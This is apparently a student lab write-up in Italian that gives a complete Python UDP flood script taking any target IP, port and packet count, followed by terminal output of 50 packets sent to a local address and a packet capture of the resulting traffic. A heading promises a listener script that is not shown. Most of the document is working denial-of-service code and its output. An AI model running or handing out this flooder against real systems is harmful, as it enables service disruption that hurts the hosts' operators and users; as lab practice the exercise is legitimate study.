

UDP Flood:

Questo è lo script in .py di per inviare i pacchetti:

```
import socket
import random

def udp_flood(target_ip, target_port, num_packets):
    # Qui creo il socket UDP
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Qui creo il pacchetto da 1 KB
    packet_size = 1024 # 1 KB
    packet = random._urandom(packet_size)

    print(f"Inviando {num_packets} pacchetti a {target_ip}:{target_port}")

    for i in range(num_packets):
        try:
            client.sendto(packet, (target_ip, target_port))
            print(f"Pacchetto {i+1} inviato")
        except Exception as e:
            print(f"Errore durante l'invio del pacchetto {i+1}: {e}")

    client.close()
    print("Attacco completato")

if __name__ == "__main__":
    # Richiedi all'utente di inserire l'IP target, la porta target e il numero di pacchetti
    target_ip = input("Inserisci l'IP target: ")
    target_port = int(input("Inserisci la porta target: "))
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))

    # Esegui l'attacco UDP flood
    udp_flood(target_ip, target_port, num_packets)
```

Invio dei pacchetti su IP-PORTA-NUM (quantità di pacchetti inviati) da terminale.

```
(lelo@lelo)-[~/Desktop/Python]  
$ python3 S3-L5_MIO  
Inserisci l'IP target: 10.0.2.15  
Inserisci la porta target: 44444  
Inserisci il numero di pacchetti da inviare: 50  
Inviando 50 pacchetti a 10.0.2.15:44444  
Pacchetto 1 inviato  
Pacchetto 2 inviato  
Pacchetto 3 inviato  
Pacchetto 4 inviato  
Pacchetto 5 inviato  
Pacchetto 6 inviato  
Pacchetto 7 inviato  
Pacchetto 8 inviato  
Pacchetto 9 inviato  
Pacchetto 10 inviato  
Pacchetto 11 inviato  
Pacchetto 12 inviato  
Pacchetto 13 inviato  
Pacchetto 14 inviato  
Pacchetto 15 inviato  
Pacchetto 16 inviato  
Pacchetto 17 inviato  
Pacchetto 18 inviato
```

SERVER:

Questo lo script per il server in ascolto:

Messo su any per leggere i pacchetti UDP in transito:

80	0.001112125	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
81	0.001121244	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
82	0.001125264	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
83	0.001134894	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
84	0.001138824	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
85	0.001147803	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
86	0.001152003	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
87	0.001160823	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
88	0.001164843	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
89	0.001174653	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
90	0.001178653	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
91	0.001272210	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
92	0.001278779	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
93	0.001296459	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
94	0.001300589	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
95	0.001310198	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
96	0.001314098	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
97	0.001362157	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
98	0.001368426	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)
99	0.001386676	10.0.2.15	10.0.2.15	UDP	1068 55725 → 44444 Len=1024
100	0.001390806	10.0.2.15	10.0.2.15	ICMP	592 Destination unreachable (Port unreachable)